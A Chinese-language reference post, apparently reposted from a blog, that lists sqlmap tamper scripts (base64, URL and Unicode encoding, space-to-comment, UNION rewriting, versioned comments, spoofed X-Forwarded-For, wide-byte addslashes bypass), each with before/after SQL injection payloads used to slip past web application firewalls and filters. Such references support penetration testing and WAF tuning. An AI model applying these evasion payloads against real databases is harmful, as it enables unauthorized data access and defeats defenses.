遍历tamper脚本
GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester
一、编码:
1.1 base64encode.py
base64编码所有字符
("1' AND SLEEP(5)#")
替换后
'MScgQU5EIFNMRUVQKDUpIw=='
1.2 charencode.py
URL编码
SELECT FIELD FROM%20TABLE
替换后
%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
已经测试过的数据库:Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
1.3 chardoubleencode.py
二次URL编码(不处理已编码的)
SELECT FIELD FROM%20TABLE
替换后
%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
1.4 charunicodeencode.py
unicode编码
SELECT FIELD%20FROM TABLE
替换后
%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
必要条件:ASP,ASP.NET
使用数据库:Microsoft SQL Server 2000
Microsoft SQL Server 2005
MySQL 5.1.56
PostgreSQL 9.0.3
1.5 charunicodeescape.py
url解码中的%篡改成\
1.6 htmlencode.py
html编码
二、空格过滤
2.1 overlongutf8.py
空格替换为%C0%A0
2.2 space2comment.py
空格替换成/**/
'SELECT id FROM users'
替换后
'SELECT//id//FROM/**/users'
2.3 space2morecomment.py
空格替换成/_/
已经测试过的数据库:mysql5.0 and 5.5
'SELECT id FROM users'
替换后
'SELECT/_/id/_/FROM/_/users'
2.4 space2mssqlblank.py
将空格替换成随机的以下字符(mssql)
'%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A'
'SELECT id FROM users'
替换后
'SELECT%0Did%0DFROM%04users'
适用数据库:Microsoft SQL Server
已经测试过的数据库:sql server 2000 sql server 2005
2.5 space2mssqlhash.py
将空格替换成%23%0A
适用数据库:mssql mysql
2.6 space2mysqlblank.py
作用:空格替换其它空白符号(mysql)
SELECT id FROM users
替换后
SELECT%0Bid%0BFROM%A0users
2.7 space2mysqldash.py
作用:替换空格字符(' ')(' – ')后跟一个破折号注释一个新行(' n')
('1 AND 9227=9227')
替换后
'1--%0AAND--%0A9227=9227'
2.8 space2plus.py
将空格替换成+
('SELECT id FROM users')
替换后
'SELECT+id+FROM+users'
2.9 space2randomblank.py
将空格替换成以下随机的字符
"%09", "%0A", "%0C", "%0D"
测试过的数据库:
Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
2.10 space2hash.py
作用:绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)
'1 AND 9227=9227'
替换后
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
三、union关键词替换
3.1 0eunion.py
使用e0UNION替换UNION
已经测试过的数据库:Mysql,Mssql
3.2 dunion.py
将UNION换成DUNION
必要条件:Oracle
3.3 misunion.py
UNION篡改为-.1UNION
3.4 unionalltonnion.py
将union all select 替换成union select
'-1 UNION ALL SELECT'
替换后
'-1 UNION SELECT'
3.5 unionalltounion.py
替换UNION ALL SELECT 为UNION SELECT
('-1 UNION ALL SELECT')
替换后
'-1 UNION SELECT'
四、符号
4.1 apostrophemask.py
把双引号替换为单引号,将'替换成UTF-8url编码的%EF%BC%87
4.2 apostrophenullencode.py
将'替换成%00%27
("1 AND '1'='1")
替换后
'1 AND %00%271%00%27=%00%271'
4.3 between.py
将>字符替换为NOT BETWEEN 0 AND
将=字符替换为BETWEEN # AND # (这个#看下面的例子)
'1 AND A = B--'
替换后
'1 AND A BETWEEN B AND B--'
已经测试过的数据库:Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
4.4 greatest.py
使用greatest替换>
('1 AND A > B')
替换后
'1 AND GREATEST(A,B+1)=A'
已经测试过的数据库:MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
4.5 symboliclogical.py
将and和or的逻辑运算符分别替换为(&&和||)
"1 AND '1'='1"
替换后
"1 %26%26 '1'='1"
4.6 bluecoat.py
将sql语句后的空格字符替换为%09,LIKE替换字符=
已经测试过的数据库:mysql5.1之前
4.7 commalesslimit.py
替换字符的位置
'LIMIT 2, 3'
替换后
'LIMIT 3 OFFSET 2'
必要条件:mysql
已经测试过的数据库:mysql5.0,mysql5.5
4.8 concat2concatws.py
将concat(a,b)替换成concat_ws(mid(char(0),0,0),a,b)
'CONCAT(1,2)'
替换后
CONCAT_WS(MID(CHAR(0),0,0),1,2)
必要条件:mysql
已经测试过的数据库:mysql5.0
4.9 equaltolike.py
将=篡改成LIKE
SELECT * FROM users WHERE id=1
替换成
SELECT * FROM users WHERE id LIKE 1
已经测试过的数据库:Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
4.10 equaltorlike.py
将=篡改成RLIKE
4.11 ifnull2ifisnull.py
作用:绕过对 IFNULL 过滤。
('IFNULL(1, 2)')
替换后
'IF(ISNULL(1),2,1)'
五、特殊绕过
5.1 randomcase.py
随机大小写
'function()'
替换后
'FuNcTiOn()'
5.2 lowercase.py
将字符转换为小写
5.3 uppercase.py
将关键字符替换成大写
'insert'
替换后
'INSERT'
已经测试过的数据库:Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
5.4 multiplespaces.py
在sql关键字周围添加多个空格
'1 UNION SELECT foobar'
替换后
'1 UNION SELECT foobar'
5.5 percentage.py
在每一个字符前面添加一个百分比符号,asp语言允许
'SELECT FIELD FROM TABLE'
替换后
'%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E'
5.6 sp_password.py
将sp_password附加到有效负载的末尾,用来混淆
'1 AND 9227=9227-- '
替换后
'1 AND 9227=9227-- sp_password'
必要条件:mssql
5.7 varnish.py
附加一个HTTP头来 X-originating-IP = "127.0.0.1" 来绕过防火墙
5.8 xforwardedfor.py
附加一个虚假的HTTP头“X-Forwarded-For”
headers = kwargs.get("headers", {})headers["X-Forwarded-For"] = randomIP()return payload
5.9 unmagicquotes.py
作用:宽字符绕过 GPC addslashes
1′ AND 1=1
替换后
1%bf%27 AND 1=1--
5.10 appendnullbyte.py
作用:在有效负荷结束位置加载零字节字符编码(Microsoft Access数据库)
('1 AND 1=1')
替换后
'1 AND 1=1%00'
六、注释绕过
6.1 randomcomments.py
用/**/分割sql关键字
'INSERT'
替换成
'I//NS//ERT'
6.2 halfversionedmorekeywords.py
在每个关键字之前添加mysql版本注释
"value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa"
替换成
"value'/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND 'QDWa'='QDWa"
必要条件:mysql<5.1
已经测试过的数据库:mysql4.0.18,5.0.22
6.3 modsecurityversioned.py
作用:过滤空格,包含完整的查询版本注释
('1 AND 2>1--')
替换后
'1 /!30874AND 2>1/--'
6.4 modsecurityzeroversioned.py
作用:包含了完整的查询与零版本注释
('1 AND 2>1--')
替换后
'1 /!00000AND 2>1/--'
6.5 versionedkeywords.py
作用:对不是函数的关键字进行注释绕过
1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
替换后
1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS//!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))#
6.6 versionedmorekeywords.py
作用:注释每一个关键字包括函数关键字
1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
替换后
1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/!CURRENT_USER/()/!AS//!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))#
版权归原作者 Thunderclap_ 所有, 如有侵权,请联系我们删除。